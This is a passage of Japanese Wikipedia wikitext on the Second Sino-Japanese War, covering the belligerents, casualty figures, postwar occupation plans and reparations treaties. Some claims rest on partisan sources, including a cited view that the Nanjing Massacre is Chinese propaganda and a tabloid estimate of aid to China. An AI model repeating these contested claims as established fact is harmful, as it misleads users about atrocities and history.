: [[孫文]]死後、国内は再び分裂状態となり、国民党右派の中心人物である蔣介石率いる[[国民革命軍]]と影響力を強める中国国民党などの間で内戦が繰り広げられた。1927年(昭和2年)蔣は北伐で大敗し最大の危機を迎えると恩人である[[松井石根]]を通じ時の[[田中義一]]首相と会談し、[[蒙古]]・[[満洲]]問題を引き換えに日本から[[北伐 (中国国民党)|北伐]]の援助を引き出し、[[張作霖]]を満洲に引き上げさせることに成功した。この際、[[張作霖]]が関東軍に謀殺され、[[張学良]]は国民党に合流。1931年(昭和6年)[[満洲事変]]が発生した。1932年(昭和7年)汪兆銘と蔣介石の見方が一致すると両者は協力して南京で国民政府を組織する。1933年(昭和8年)には日本との間で[[塘沽停戦協定]]が締結されると1935年(昭和10年)、[[広田弘毅]]外相が議会姿勢演説で「日中双方の不脅威・不侵略」を強調、日本はアジアの諸国と共に東洋平和および、秩序維持の重責を分担すると発言。汪兆銘と蔣の指導する中華民国はこれを受け入れ、[[反日感情]]を戒め、日中和平路線が着々と進められたが、中国共産党などは一部はこれを喜ばず、1935年11月、国民党六中全国大会中に汪は[[カメラマン]]に扮した中国共産党の刺客から狙撃され負傷、療養のためヨーロッパへ渡航。1936年には日本に強い不信を持っていた[[張学良]]は[[西安事件]]を起こして蔣に対共姿勢から対日姿勢への改心を求め[[中国国民党]]と中国共産党の間で[[第二次国共合作]]が成立した。蔣は当時[[華北|北支]]に駐屯していた日本軍との間で起きた[[盧溝橋事件]]を発端に「最後の関頭」演説を宣言、中国国内では国民党勢力下の[[兵士]]や[[市民]]が抗日事件を起こし一層日中関係は逼迫した。[[郎坊事件]]、[[広安門事件]]などの[[紛争]]をきっかけに戦火は各地に飛び火し、中国全土で国民革命軍の存亡をかけた徹底抗戦([[ゲリラ|ゲリラ戦]])が展開された。装備などの面で劣勢にあった国民革命軍は国民党中央宣伝部国際宣伝処<ref>東中野修道「南京事件 国民党極秘文書から読み解く」2006年{{要ページ番号|date=2015-06-22}}</ref> を組織し謀略をして国際世論を味方につけて[[アメリカ合衆国]]から支援([[援蔣ルート]]等)を引き出した。1941年(昭和16年)11月、アメリカ合衆国は日本に[[仏印進駐|仏印兵力]]の現状維持を含む暫定協定を提示する意向であったが、半ば見捨てられる形となった蔣は、英首相[[ウィンストン・チャーチル]]のコネクションを通じて抗議した<ref group="注釈">当時、英国は劣勢にあり、戦局打開のため欧州戦線への米国の介入を強く希望していた</ref>。これが一因となり暫定協定は撤回され、[[ハル・ノート|ハル・ノートが通告]]され、[[太平洋戦争]]([[大東亜戦争]])に至る<ref>ジョン・トーランド『大日本帝国の興亡』1巻 暁のZ作戦「五部 運命のハルノート 3 アメリカの『暫定協定』」{{要ページ番号|date=2015-06-22}}</ref>。
;[[ファイル:中國工農紅軍軍旗.svg|25px]] [[中国共産党]]([[八路軍]]、[[新四軍]])
:蔣介石国民党政府以前の1932年に[[中華ソビエト共和国]]として日本に[[宣戦布告]]を行ったが、当時は主権国家としての規模はなく、また日本よりも前に国民党を打倒しなければならないとしていた<ref>石川「革命とナショナリズム」岩波新書p125</ref>。国民党とは[[国共内戦]]を戦っていたが[[第二次国共合作]]によって共産党支配地区はソビエト(蘇維埃)区から辺区へと改名し、共産党軍は労農(工農)[[紅軍]]から国民党[[八路軍]]、新四軍として蔣介石政権とともに抗日戦争、日本帝国主義と戦うとした。
; {{USA1912}}
: 日中戦争([[支那事変]])勃発当初は[[アジア]]で膨張を続ける日本に対する牽制を狙い、[[援蔣ルート]]を通じて[[中華民国の歴史#国民政府時代(1928年 - 1949年)|中華民国]]に武器をはじめとする軍事物資と人材(訓練教官の派遣など)を提供。アメリカ合衆国議会は戦争状態にある国への武器輸出を禁じる[[中立法]]を維持していたが、日中戦争([[支那事変]])の勃発により、[[ルーズベルト]]大統領はイギリス国籍の船がアメリカ製の武器を中国へ輸送することを許可した。日本も石油をアメリカに大きく依存しており日中共に米国に依存しなければ戦争継続は困難であった。その後、[[仏印進駐]]を機に対日石油輸出を停止し、[[ABCD包囲網]]、[[ハル・ノート|ハル・ノートが通告]]を経て[[真珠湾攻撃]]によって[[太平洋戦争]]([[大東亜戦争]])が勃発すると本格的に日本と戦争関係となる。
; {{SSR1923}}
: 公式にソ連軍が参戦するのは[[太平洋戦争]]([[大東亜戦争]])末期の1945年8月8日だが、すでに1920年代より中国で共産勢力を拡大するため[[紅軍]]ら共産主義勢力にたいして長期間にわたり支援を行い、また国共合作が成立してからは対日戦線を全面的に支援、[[張鼓峰事件]]や[[ノモンハン事件]]では[[関東軍]]と交戦している。なお、日本は[[日ソ中立条約]]を締結していたソ連を通じ[[連合国 (第二次世界大戦)|連合国]]との講和を目指したが、[[ソ連対日参戦]]により破綻した。
; {{DEU1935}}
: [[第一次世界大戦]]の際に日本が[[東アジア]]・[[太平洋]]地域におけるドイツの権益を奪取したという事実と[[プロイセン]]([[ドイツ皇帝]][[ヴィルヘルム2世 (ドイツ皇帝)|ヴィルヘルム2世]])時代の[[黄禍論]]主義思想が対日政策に影響を及ぼしていた。[[1935年]]より[[中華民国]]に対して{{仮リンク|在華ドイツ軍事顧問団|zh|德國軍事顧問團|label=在華ドイツ軍事顧問団}}を派遣し陣地構築の指導、軍事訓練や武器の輸出を行った([[中独合作#国民革命軍の近代化とドイツ|中独合作]])。一方、[[1936年]]には[[日独防共協定]]を締結するなど、日本にも接近しつつあった。1937年に勃発した[[第2次上海事変]]の際には、ヒトラー承認済のもと<ref>「日本との協調関係は維持する。しかし武器などの中国への輸出も偽装できる限り続ける」[https://www6.nhk.or.jp/special/detail/index.html?aid=20060813 NHKスペシャル 日中戦争〜なぜ戦争は拡大したのか〜(2006年8月13日放送より])</ref>、蔣介石の[[軍事顧問]]を務めた[[ファルケンハウゼン]]が直接作戦指導にあたっている。日中間の和平交渉を仲介(トラウトマン工作)するが、交渉は決裂。軍事顧問団を引き上げることになる。日本は日独関係の悪化を憂慮し、鹵獲したドイツ製の武器を「ソ連製または某国製」と偽って公表した。
; {{GBR}}
: 基本的にアメリカ寄りの政策を取ったが日本側の要請で援蒋ルートを一時閉鎖する<ref name="usu124to135"/> などの独自路線も取った。
; {{THA}}
: 日本の同盟国として[[タイ国外征軍]]、通称{{仮リンク|パヤップ軍|en|Phayap Army}}を滇緬国境方面に派遣した。
== 参戦勢力の概要 ==
{{節スタブ}}
;日本軍
; 軍装・装備
; 戦法・戦術
:華北の共産党勢力下における治安戦において徹底的な掃討作戦を実施したと言われる。
; 参加部隊
::[[支那駐屯軍]]([[盧溝橋事件]]後の1937年7月11日に[[関東軍]]独立混成第11旅団・[[独立混成第1旅団]]の二個[[旅団]]・[[朝鮮軍 (日本軍)|朝鮮軍]][[第20師団 (日本軍)|第20師団]]が編入<ref name="usu65to72"/>。1937年8月31日支那駐屯軍は廃止され、[[北支那方面軍]][[第1軍 (日本軍)#日中戦争における第1軍|第1軍]]・[[第2軍 (日本軍)#日中戦争における第2軍|第2軍]]へ編成。
::[[上海海軍特別陸戦隊]]
中国国民革命軍・中国共産党軍軍装・装備・兵力
:[[国民革命軍]]:1937年時点で198師団、総兵力225万人<ref name="kawakami136to149">{{Harvnb|K・カール・カワカミ|2001|pp=136-149}}</ref>。
:中国共産党軍:1937年時点で総兵力20万人<ref name="kawakami136to149"/>。
; 戦法・戦術
:日本の中国進出に対して[[国際社会]]の干渉を生じさせる「遠くの敵を近くの敵にけしかける」「蛮族を制するに蛮族をもってする」という中国伝統の戦術によってソ連やアメリカ合衆国の支援をとりつけた<ref name="kawakami176to182">{{Harvnb|K・カール・カワカミ|2001|pp=176-182}}</ref>。
:国民党軍では[[赤軍]]の手法を模倣し、督戦隊制度を導入した。また、兵士には戦争目的の認識や士気が低かったことから兵士の戦闘意欲高揚と戦線離脱防止を目的として、[[トーチカ]]を守備する兵士や民間人(民兵)の足に鎖をつけ、後方から[[督戦隊]]を配置して逃亡を防ぎ、最後まで交戦をさせた<ref group="注釈">この状況は1939年に作成された日本映画『[[土と兵隊]]』([[田坂具隆]]監督)にも描写されている。</ref>。当時、中国では分裂国家で統一国家ではなく、日本のような教育や軍事教練なども十分に行われなかったこともあり、中国共産党軍は[[便衣兵]]・[[ゲリラ戦]]による奇襲攻撃を主な戦法とした。
; 参加部隊
: [[戦闘序列]]については以下を参照
:: [[国民革命軍戦闘序列 (1937年)]]
:: [[国民革命軍戦闘序列 (1938年)]]
:: [[国民革命軍戦闘序列 (1939年)]]
:: [[国民革命軍戦闘序列 (1944年)]]
:中国住民の徴発
日中戦争([[支那事変]])期間中に[[国民政府]]が[[徴発]]した兵士の総数は約1405万人である。[[動員]]を可能にすべく[[1936年]]から開始された[[徴兵制度|義務兵役制度]]は、容易に軌道に乗ることはなく、当初は、名は[[徴兵]]であるが、実際は[[募兵]]と[[拉致]]であったとされる<ref name="sasa"/>。[[拉致被害者]]で目立つのは、他地域の住民や旅行中の[[行商人]]、[[糧食]]などの[[運搬労働者]]であり、[[博徒]]や[[乞食]]なども含まれていた<ref name="sasa">[[笹川裕史]]「糧食・兵士の戦時徴発と農村の社会変容」[[石島紀之]]・[[久保亨]]『重慶国民政府史の研究』[[東京大学出版会]]、2004年 413026124X {{要ページ番号|date=2015-06-22}}</ref>。
;[[皇協軍]]
; 軍装・装備
; 戦法・戦術
: 主に共産党勢力と交戦。
; 参加部隊
: [[和平建国軍]]
: [[満洲国軍]]
: [[内蒙軍]]
: [[華北治安軍]]
;ソ連軍
; 軍装・装備
; 戦法・戦術
; 参加部隊
: [[ソ連空軍志願隊]]
;イギリス軍・アメリカ軍
; 軍装・装備
; 戦法・戦術
; 参加部隊
: [[フライングタイガース|アメリカ合衆国義勇軍]](AVG)
== 被害 ==
{{See also|第二次世界大戦の犠牲者}}
;日本軍の犠牲者数
* 総計44万6500人(陸軍38万4900人、海軍7600人、終戦後の死亡5万4000人)<ref name="moriyama">太平洋戦争研究会、森山康平『図説 日中戦争』河出書房新社、2000年,p172</ref>——70万人とも<ref name="読売新聞社">{{cite book|url=https://books.google.com/books?id=uKodAQAAMAAJ&q=%E6%98%AD%E5%92%8C%E5%8D%81+%E4%BA%8C%E5%B9%B4%E4%B8%83%E6%9C%88%E4%B8%83%E6%97%A5%E3%80%81%E5%8C%97%E4%BA%AC%E9%83%8A%E5%A4%96%E3%81%AE%E8%98%86%E6%BA%9D%E6%A9%8B%E3%81%A7%E9%9F%BF%E3%81%84%E3%81%9F%E5%8D%81%E6%95%B0%E7%99%BA%E3%81%AE%E9%8A%83%E5%A3%B0%E3%82%92%E3%81%8D%E3%81%A3%E6%88%A6%E6%AD%BB%E8%80%85%E3%80%81%E4%B8%83%E5%8D%81%E4%B8%87&dq=%E6%98%AD%E5%92%8C%E5%8D%81+%E4%BA%8C%E5%B9%B4%E4%B8%83%E6%9C%88%E4%B8%83%E6%97%A5%E3%80%81%E5%8C%97%E4%BA%AC%E9%83%8A%E5%A4%96%E3%81%AE%E8%98%86%E6%BA%9D%E6%A9%8B%E3%81%A7%E9%9F%BF%E3%81%84%E3%81%9F%E5%8D%81%E6%95%B0%E7%99%BA%E3%81%AE%E9%8A%83%E5%A3%B0%E3%82%92%E3%81%8D%E3%81%A3%E6%88%A6%E6%AD%BB%E8%80%85%E3%80%81%E4%B8%83%E5%8D%81%E4%B8%87&hl=zh-CN&sa=X&ved=0ahUKEwjSho6Y4cXRAhXL4iYKHR-LBA8Q6AEIHDAA|title=戦争: 中国侵略|publisher=読売新聞社|pages=186|accessdate=21 April 2017}}</ref>。また[[関東軍]]はソ連軍に降伏し、60万がシベリアなどに抑留、6万人が犠牲になった<ref name="moriyama"/>。
;中国の犠牲者数
{| class="wikitable"
||'''発表年'''||'''死傷人数'''||'''調査・出典'''||'''補足'''
|-
||1946年||軍人作戰死亡132万8501||中華民國國防部・発表<ref>{{cite|language=中国語|date=1947年5月20日|author=中華民國行政院賠償委員會|title=中華民國行政賠償委員會在第四屆國民參政會第三次大會上的報告}}. 前揭1946年中華民國國防部調查</ref>||[[国民革命軍]]のみ
|-
||1947年||平民死亡439万7504||中華民國行政院賠償委員會<ref name="行政賠償委員會1947">{{cite|language=中国語|date=1947年5月20日|author=中華民國行政院賠償委員會|title=中華民國行政賠償委員會在第四屆國民參政會第三次大會上的報告}}</ref><ref name="孟國祥1995">{{cite journal|language=zh|author=孟國祥|title=關於抗日戰爭中我國軍民傷亡數字問題|journal=抗日戰爭研究|issue=03期|date=1995年3月}}</ref>||國民黨統治區
|-
||1947年||軍民死傷1278万4974||中華民國行政院賠償委員會<ref name="行政賠償委員會1947" /><ref name="孟國祥1995" />||國民黨統治區·軍人死傷365萬0405·平民死傷913萬4569
|-
||1985年||軍民死亡2100万||共産党政権発表(抗日勝利40周年)||
|-
||1995年||軍民死傷約3500万||江沢民発表<ref>{{cite|language=中国語|author=江泽民|title=江泽民同志在首都各界纪念抗日战争暨世界反法西斯战争胜利五十周年大会上的讲话|date=1995年9月3日}}</ref>||江沢民、纪念抗日战争胜利五十周年大会上的讲话
|-
|}
上記の表で中国側の犠牲者が132万とあるが、この数字は中国[[国民革命軍]]のみの数である。当時の中国大陸では、日本軍・南京中華民国政府軍・蔣介石国民革命軍・共産党軍(現:[[中国人民解放軍]]の前身)・その他[[馬賊]]や[[抗日]]武装勢力など複数の勢力が、割拠する地域で、日中戦争([[支那事変]])中には主に2つの勢力に分かれて戦争を行っていた。また国共内戦は国共合作以降も断続しており、第二次世界大戦後には再開している。中国の民衆は戦争に翻弄され、農業や商業、工業、運輸などの生活基盤を破壊されると共に各勢力の戦闘や[[ゲリラ|ゲリラ戦]]に巻き込まれ命を落としたり、戦闘継続の中、日本軍のみならず自国民たる各勢力に[[食糧]]を[[徴発]]されたことや[[焦土作戦]]の影響で[[飢餓]]に陥る人も大勢いた。また日本人をはじめ在留外国人も戦闘に巻き込まれた。([[中国空軍の上海爆撃 (1937年)]]を参照)。
{{ns:0|1=<nowiki>日本軍による[[燼滅作戦|三光政策]]や[[南京事件]]などにより、中国の住民に多くの犠牲者が出たといわれる<ref>「世界の歴史」編集委員会編『もういちど読む山川世界史』[[山川出版社]](2009)pp.246-247(事件や政策の呼称は出典に依る)</ref>。一方、これらは中国側のプロパガンダであり事実ではないする見方もある<ref>{{cite news|title=高校教科書検定 倭寇まで「侵略」表記 南京「30万虐殺」なお|newspaper=産経新聞|date=2003-04-09|author=教科書問題取材班}}</ref><ref>[[藤岡信勝]]『教科書採択の真相: かくして歴史は歪められる』 [[PHP研究所]]、2005年{{要ページ番号|date=2015-06-22}}</ref><ref>[[小林よしのり]]『[[新・ゴーマニズム宣言SPECIAL 戦争論]]』 [[幻冬舎]] {{要ページ番号|date=2015-06-22}}</ref><!-- 1998年? ---><ref>[[黄文雄 (評論家)|黄文雄]]『反日教育を煽る中国の大罪―日本よ、これだけは中国に謝罪させよ!』 [[日本文芸社]]、2004年{{要ページ番号|date=2015-06-22}}</ref>。<!--[[Wikipedia:信頼できる情報源]]:「[[K-12]]水準の教科書は権威があるようには作られておらず、ウィキペディアの編集者は避けるべきです--></nowiki>}}
以下、各犠牲者数について注釈する。
* 終戦時132万人
** 【国民政府統計】中華民国軍令部統計:中華民国「陸軍」戦争犠牲者131万9958人<ref name="孟國祥1995"/><ref>[[何応欽]]. 八年抗戦と台湾復帰(台北版)、pp36-37</ref>
** 【国民政府統計】1946年中華民国国防部初歩調査にある(1947年5月中華民国行政院賠償委員会引用),「軍人戦死者数132万8501人」は「中華民国国軍」のみで、民間人または共産党軍隊の死亡者、病死者、徴兵時に失った国軍数等は含まれていない<ref name="行政賠償委員会19470520">行政賠償委員会1947年5月20日第四期国民参政会第三回大会ので報告</ref>。
* 1948年438万人
** 【国民政府統計】439万7504人。1947年中華民国行政院賠償委員会の「民間人死亡者数」に関した統計に近い<ref name="行政賠償委員会19470520"/>。これは「国民党統治区域」に限っての初歩調査に浮かんだ民間人死亡者数であり、共産党統治区域の一般人死亡者数は含まれていないと思われる<ref name="孟國祥1995"/>。
* 1950年1000万人
** 【共産党発表】蔣介石が1947年に言った「軍民犠牲者一千万人」が始まりで、概数である<ref name="孟國祥1995"/>。
** 【国民政府統計】1947年5月中華民国行政院賠償委員会によると、軍人死傷者365万0405、一般人死傷者913万4569。ただし共産党軍と共産党根拠地の数字は含まれていないと思われる。
* 1985年2100万人
** 【共産党発表】原文は発見されていない。おそらく「全国軍民死亡」者数を指すであろう。軍隊戦死者100万余り、民間人約2000万。詳細は次に述べる。
* 1995年3500万人
** 【中国共産党中央委員会総書記[[江沢民]]発言】<ref>首都各界による抗日戦争記念ならびに世界反ファシスト戦争勝利五十周年大会の江沢民同志によるスピーチ, 1995.9.3</ref>「犠牲者数」ではなく、「死傷人数」をさす。数字の初めの出所は中国の軍事科学院軍事歴史研究部の研究である。1995年出版の『中国抗日戦争史』の概算統計によると、抗日戦争期間中の中国軍隊死傷者380万人余、中国人民犠牲者2000万人余、中国軍民死傷者総数が3500万人以上に達した<ref>解放軍軍事科学院軍歴史研究部、中国抗日戦争史・下巻.{{要ページ番号|date=2015-06-22}}</ref>。
==国共内戦==
{{main|国共内戦}}
[[太平洋戦争]]([[大東亜戦争]])および日中戦争([[支那事変]])の終結前後に、蔣介石率いる中国[[国民革命軍]]と毛沢東率いる中国共産党軍の間で[[国共内戦]]の再開が中国国内で懸念されると同時に1945年9月からは[[上党戦役]]など内戦がはじまった。アメリカも中国内戦を阻止するために介入し、重慶会談をはじめ様々な交渉が持たれるが、[[1946年]][[6月]]に、蔣介石率いる[[国民革命軍]]が全面侵攻命令を発した。[[1949年]]から[[1950年]]にかけて、中国共産党軍が国民党軍を破り、蔣介石らは台湾へ逃れ、[[中華人民共和国]]が成立した。
==残留日本兵と残留日本人==
{{main|残留日本兵|残留日本人}}
国民党の蔣介石は「徳を以て怨みに報いる」として、終戦直後の日本人居留民らに対して報復的な態度を禁じたうえで送還政策をとった。<ref>[http://hamada.u-shimane.ac.jp/research/organization/near/41kenkyu/kenkyu10.data/10-03_chen.pdf 陳祖恩「上海日本人居留民戦後送還政策の実情」]『北東アジア研究』第10号、2006年1月{{要ページ番号|date=2019年4月}}</ref>
日本降伏と日本軍武装解除後に開始された[[国共内戦]]時には、中国大陸に残留して八路軍への入隊を希望する日本軍人も少なくなかった。当時の八路軍はその軍紀([[三大紀律八項注意]])遵守が評判になっており、また日本人捕虜を厚遇して寛大に扱っていたという伝聞もあったので、八路軍に好意的な感情を持つ日本軍将兵も少なからずいた。[[支那派遣軍]]勤務だった[[昭和天皇]]の弟[[三笠宮崇仁親王]]も八路軍の軍紀に魅了されていた<ref>三笠宮崇仁『古代オリエント史と私』学生社 1984年 33~37頁</ref>。これはソ連の[[赤軍]]との大きな違いであった。特殊技能を持つ日本軍将兵(航空機・戦車等の機動兵器、医療関係)の中には長期の残留を求められて帰国が遅れた者もいた([[気象台]]勤務であった作家の[[新田次郎]]など)。また、[[聶栄臻]]のように戦災で親を亡くした日本人の姉妹に自ら直筆の手紙を持たせて日本へと送るよう配慮した人物もいた。
== 戦後処理と戦争賠償 ==
{{See|日本の戦争賠償と戦後補償}}
=== 中華民国軍の四国占領計画 ===
{{See|日本の分割統治計画}}
終戦後、日本は[[ポツダム宣言]]により[[連合国軍占領下の日本|連合軍に占領]]される事となった。それに関し当初は日本と交戦した主要な連合国である[[アメリカ合衆国|アメリカ]]・[[イギリス帝国|イギリス]]・[[国民政府|中国]]・[[ソビエト連邦|ソ連]]によって分割統治されるとされていた。その中で[[四国]]は日中戦争([[支那事変]])で戦った[[国民革命軍]]の統治領域とされ、[[三重県]]を除く[[近畿地方]]と[[福井県]]は中国とアメリカの共同統治、そして[[東京都区部]]は上記4か国の共同統治とする計画であった。しかし後に中国国内で政権を持っていた[[中国国民党|国民党]]と[[ゲリラ]]戦を展開していた[[中国共産党|共産党]]の間で[[国共内戦]]が勃発した事で中国軍は日本占領どころではなくなり計画は破綻。日本は事実上[[アメリカ軍]]による単独占領となり、中国やソ連、[[フランス共和国臨時政府|フランス]]、[[オランダ王国|オランダ]]などその他の連合国は日本に[[駐在武官]]を派遣するにとどまった。なお、当初の日本分割占領計画が決定され、中国が四国を統治することが決まった時には多くの中国兵たちがこれを喜び、日本に上陸したときにどうするかを話し合ったという<ref>{{Cite web|和書|url=https://www.hns.gr.jp/sacred_place/material/reference/02.pdf |title=終戦後の日本分割統治計画 |publisher=人間自然科学研究所 |accessdate=2023-01-02}}</ref>。
=== サンフランシスコ平和条約 ===
[[朝鮮戦争]]中の[[1951年]][[9月8日]]に[[サンフランシスコ]]で調印された[[日本国との平和条約|日本国との平和条約(サンフランシスコ平和条約)]]で連合国は全ての賠償請求権を放棄するとされた{{refnest|group="注釈"|[[日本国との平和条約]]第14条(b)「連合国は、連合国の全ての賠償請求権、戦争の遂行中に日本国及びその国民がとった行動から生じた連合国及びその国民の他の請求権、占領の直接軍事費に関する連合国の請求権を放棄」}}。しかし、[[国共内戦]]の敗北によって蔣介石ら[[中華民国]][[国民党]]は1949年12月に台湾に移転し、同時に中国共産党が[[中華人民共和国]]の建国を宣言しており、二国に分かれていた両国は、アメリカが中華民国を、イギリスが中華人民共和国を別々に承認することもあって、不参加となった<ref name=asdiges>淺田正彦、「[https://doi.org/10.14989/doctor.r12977 日中戦後賠償と国際法]」 博士論文 論法博第187号, 2016年,{{要ページ番号|date=2019年4月}}</ref><ref name=hishi>菱田雅晴「[http://www.nikkei.com/article/DGXKZO86577580Z00C15A5MZC001/ 共同声明の意義「日華」踏まえ検証]」日経新聞2015年5月10日</ref>。また日本は平和条約にしたがって連合国に以下賠償した<ref name=kosai>東京高裁2001年(平成13年)10月11日判決(衆議院法務委員会平成22年5月11日 [https://kokkai.ndl.go.jp/#/detailPDF?minId=117405206X01120100511&page=1&spkNum=0¤t=-1 会議録第11号7頁] 稲田委員発言で引用)</ref>。
* フィリピンに5億5千万ドル
* ベトナムに3900万ドル相当の役務と生産物
* 連合国領域内の約40億ドル(日本円で1兆4400億円、昭和26年での一般会計歳入は約8954億円)の日本人資産は連合国に没収され、収益は各国国民に分配。
* 中立国および連合国の敵国にある財産と等価の資金として450万ポンドを赤十字国際委員会に引き渡し、14国合計20万人の日本軍元捕虜に分配。
* 日本財産は朝鮮702億5600万円、台湾425億4200万円、中華民国東北1465億3200万円、華北554億3700万円、華中華南が367億1800万円、その他樺太、南洋など280億1400万円、合計3794億9900万円が連合国に引き渡された。
1945年8月5日の外務省調査では日本の在中華圏資産は、中華民国921億5500万円、満洲1465億3200万円、台湾425億4200万円で合計2812億2900万円で、これは{{いつ範囲|date=2019年4月|現在}}の価値で56兆2458億円となる([[物価|企業物価指数]]戦前基準)<ref>岸本昌也「日本は蔣介石中国に莫大な賠償を行った 以徳報恩の賠償放棄とは何だったのか」別冊正論15号.2011年6月22日刊、産経新聞社、p.179.</ref>。
このように連合国国内のみならず、中国、台湾、朝鮮にあった一般国民の在外資産まで接収され、さらに中立国にあった日本国民の財産までもが賠償の原資とされた「過酷な負担の見返り」として、請求権が放棄された<ref name=kosai/>。
=== 日華平和条約 (1952) ===
サンフランシスコ平和条約締結の翌年、[[1952年]][[4月28日]]には[[台北]]で[[日本国と中華民国との間の平和条約|日華平和条約]]が調印され、中華民国は日本への賠償請求を放棄した{{refnest|group="注釈"|「中華民国は日本国民に対する寛厚と善意の表徴として、日本国が提供すべき役務の利益(賠償)を自発的に放棄する」<ref>[http://www.ioc.u-tokyo.ac.jp/~worldjpn/documents/texts/docs/19520428.T1J.html 日華平和条約全文]</ref>}}<ref name=hishi/>。交換公文では「中華民国政府の支配下に現にあり、又は今後入るすべての領域」が適用範囲とされた<ref name=hishi/>。
=== 日中共同声明 (1972) ===
[[1971年]][[10月25日]]、国連で[[アルバニア決議]]が採択され、中華民国が中国の代表権を喪失するとともに常任理事国の地位をはく奪され、[[中華人民共和国]]が中国の代表権を得た。[[1972年]]2月に[[ニクソン大統領の中国訪問]]が実現し米中が接近するのと並行して[[日中国交正常化]]も進展し、1972年9月には[[日本国政府と中華人民共和国政府の共同声明|日中共同声明]]が[[周恩来]][[国務院総理]]と[[田中角栄]][[内閣総理大臣]]によって調印された。声明第五項では「中華人民共和国政府は、中日両国国民の友好のために、日本国に対する戦争賠償の請求を放棄することを宣言する(The Government of the People's Republic of China declares that in the interest of the friendship between the Chinese and the Japanese peoples, it renounces its demand for war reparation from Japan.)」として、[[中華人民共和国]]は対日戦争賠償請求を放棄すると宣言された<ref name=asdiges/><ref>[https://www.mofa.go.jp/mofaj/area/china/nc_seimei.html 日本語全文]、[https://www.mofa.go.jp/region/asia-paci/china/joint72.html 英語全文](外務省)</ref>。1978年8月12日には、日中共同声明を踏まえて、[[日本国と中華人民共和国との間の平和友好条約|日中平和友好条約]]が締結され、第1条では「主権及び領土保全の相互尊重、相互不可侵、内政に対する相互不干渉」が、第2条ではアジア・太平洋地域他の地域で[[覇権]]を求めないと規定された<ref>[https://www.mofa.go.jp/mofaj/area/china/nc_heiwa.html 日本語正文](日本外務省) [https://zh.wikisource.org/wiki/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E5%92%8C%E6%97%A5%E6%9C%AC%E5%9B%BD%E5%92%8C%E5%B9%B3%E5%8F%8B%E5%A5%BD%E6%9D%A1%E7%BA%A6 中国語正文](ウィキソース)</ref>。なお[[1979年]]には[[米中関係#国交正常化|米中が国交正常化した]]。
日本は中華人民共和国に対し[[政府開発援助]](ODA)を実施し、1979年から2013年度までに有償資金協力([[円借款]])約3兆3,164億円、無償資金協力を1,572億円、技術協力を1,817億円、総額約3兆6,553億円のODAを実施した<ref>[[外務省]][https://www.mofa.go.jp/mofaj/gaiko/oda/data/chiiki/china.html 対中ODA概要] 平成28年2月1日</ref>。廃止の方向にあるODAに変わって、[[財務省]]影響下の[[アジア開発銀行]]が肩代わりして迂回融資を行い、1年あたりの援助金額は円借款の2倍であり<ref>[[青木直人]]『中国に喰い潰される日本 チャイナリスクの現場から』[[PHP研究所]]、2007/1/27、ISBN 978-4569659824{{要ページ番号|date=2019年4月}}</ref>、アジア開発銀行から中国への援助総額は日本円で2兆8000億円に上っており、「日本の対中国ODAは3兆円ではなく6兆円。3兆円は日本政府から中国政府に直接援助した金額。アジア開発銀行等の迂回融資分をあわせると6兆円」という主張がある<ref>{{Cite news |url=http://www.zakzak.co.jp/society/politics/news/20100929/plt1009291611005-n1.htm|title=中国の増長を食い止める手段あるか 追い詰められているのは中国?|newspaper=[[zakzak]]|publisher=|date=2010-09-29|archiveurl=https://web.archive.org/web/20101001213455/http://www.zakzak.co.jp/society/politics/news/20100929/plt1009291611005-n1.htm|archivedate=2010-10-01}}</ref><ref>{{Cite news |url=http://www.zakzak.co.jp/society/politics/news/20120927/plt1209271125004-n1.htm|title=ならず者中国に6兆円も貢ぐ日本…オマヌケ支援をストップせよ|newspaper=[[zakzak]]|publisher=|date=2012-09-27|archiveurl=https://web.archive.org/web/20120929231458/http://www.zakzak.co.jp/society/politics/news/20120927/plt1209271125004-n1.htm|archivedate=2012-09-29}}</ref>。
日本政府はこれら三つの条約および声明(サンフランシスコ平和条約第14条b、日華平和条約第11条、日中共同声明第5項)によって、日中間における請求権は、個人の請求権の問題も含めて消滅したと認識している{{refnest|group="注釈"|[[第174回国会]][[衆議院]][[法務委員会]](2010年5月11日)における[[西村智奈美]][[外務大臣政務官]]の発言「サンフランシスコ平和条約十四条と日華平和条約の関係からまず申し上げますと、日華平和条約第十一条及びサンフランシスコ平和条約第十四条(b)により、中国及びその国民の日本国及びその国民に対する請求権は放棄されております。一九七二年の日中共同声明第五項に言うところの戦争賠償の請求は、中国及びその国民の日本国及びその国民に対する請求権を含むものとして、中華人民共和国政府がその放棄を宣言したものでございます。したがって、さきの大戦に係る日中間における請求権の問題につきましては、個人の請求権の問題も含めて、一九七二年の日中共同声明発出後、存在しておらず、このような認識は中国側も同様であるというふうに認識をしております。」<ref>[[第174回国会]][[衆議院]][[法務委員会]]平成22年(2010年)5月11日 [https://kokkai.ndl.go.jp/#/detail?minId=117405206X01120100511 会議録第11号7頁](国会会議録検索システム国立国会図書館)、</ref>}}。[[江沢民]]も1992年4月1日、日本の侵略戦争については真実を求めて厳粛に対処するが、日中共同声明の立場は変わらないと発言している<ref>人民日報1992年4月3日</ref>。
また[[華人労務者]]への個人賠償が争われた[[西松建設]]会社事件での最高裁判決(2007年4月27日)では、サンフランシスコ平和条約は、個人の請求権を含めて、戦争中に生じたすべての請求権を放棄した。また日中共同声明も同様であるとされた{{refnest|group="注釈"|「サンフランシスコ平和条約の枠組みと異なる処理が行われたものと解することはできない」。また条約法に関するウィーン条約34条では第三国の義務や権利を当該国の同意なしに創設できない、35条では当該国が書面により当該義務を明示的に受け入れる場合に限って義務を負うと定めており、中国はサンフランシスコ平和条約と日中共同声明の枠組みを肯定しており、それ以外の義務を書面で確約したことはない。}}<ref name=asdiges/><ref>橋爪大三朗「先人の叡智を忘れてはならない」毎日新聞2015年5月24日</ref><ref>浅田正彦『日中戦後賠償と国際法』東信堂2015,p374</ref>。また、重慶爆撃訴訟の東京地裁判決(2015年2月25日)では、国際法の法主体は国家であって個人ではない。また国家でさえ、戦争被害については、国家責任を規定する国際法だけでは賠償を受けることができず、賠償に関する国家間の外交交渉によって合意される必要があるとし、個人の戦争被害については国家間での処理が原則とした。またハーグ陸戦条約第3条も国家間の賠償責任を規定するもので、個人に賠償請求権を付与するものではない、と判決した。
== 評価 ==
